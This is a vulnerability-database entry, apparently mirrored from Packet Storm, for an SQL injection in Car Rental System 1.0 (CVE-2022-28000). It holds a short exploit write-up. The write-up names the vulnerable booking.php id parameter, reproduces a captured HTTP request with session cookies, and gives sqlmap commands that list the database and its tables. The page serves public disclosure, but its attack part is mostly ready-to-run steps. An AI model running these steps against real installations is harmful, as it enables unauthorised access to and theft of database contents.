Lucene search
K

Car Rental System 1.0 SQL Injection

🗓️ 08 Apr 2022 00:00:00Reported by D4rkP0w4r, github.comType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 360 Views

Car Rental System 1.0 SQL Injection, Author: D4rkP0w4r, Login to customer, Injection Point: http://192.168.1.101:8080/Car_Rental/booking.php?id=

Related
Code
ReporterTitlePublishedViews
Family
0day.today
Car Rental System 1.0 SQL Injection Vulnerability
8 Apr 202200:00
zdt
ATTACKERKB
CVE-2022-28000
8 Apr 202209:15
attackerkb
Circl
CVE-2022-28000
8 Apr 202212:38
circl
CNNVD
Car Rental System SQL注入漏洞
8 Apr 202200:00
cnnvd
CNVD
Car Rental System SQL Injection Vulnerability (CNVD-2022-85098)
14 Apr 202200:00
cnvd
CVE
CVE-2022-28000
8 Apr 202208:23
cve
Cvelist
CVE-2022-28000
8 Apr 202208:23
cvelist
EUVD
EUVD-2022-32486
3 Oct 202520:07
euvd
NVD
CVE-2022-28000
8 Apr 202209:15
nvd
OSV
CVE-2022-28000
8 Apr 202209:15
osv
Rows per page
`# Car Rental System SQL Injection  
# Author: D4rkP0w4r  
* Note => Login to customer  
* Injection Point => http://192.168.1.101:8080/Car_Rental/booking.php?id=1  
  
# Exploit   
* Exploit with Sqlmap + Burp Suite   
* Use Burp Suite capture request   
* Then save as sqlicar.txt  
  
GET /Car_Rental/booking.php?id=1 HTTP/1.1  
Host: 192.168.1.101:8080  
Cache-Control: max-age=0  
Upgrade-Insecure-Requests: 1  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9  
Referer: http://192.168.1.101:8080/Car_Rental/index.php  
Accept-Encoding: gzip, deflate  
Accept-Language: en-US,en;q=0.9  
Cookie: ci_session=jo7rsp3d4su5223o11544otrc44odm2l; PHPSESSID=5cddkjjvh5nhvqh96t306gau8b  
Connection: close  
  
* Exploit with Sqlmap  
python3 sqlmap.py -r sqlicar.txt --current-db  
python3 sqlmap.py -r sqlicar.txt -D carrentalp --tables  
  
# Vulnerable Code  
* No filter id when inserting data to database  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

08 Apr 2022 00:00Current
0.3Low risk
Vulners AI Score0.3
EPSS0.00316
360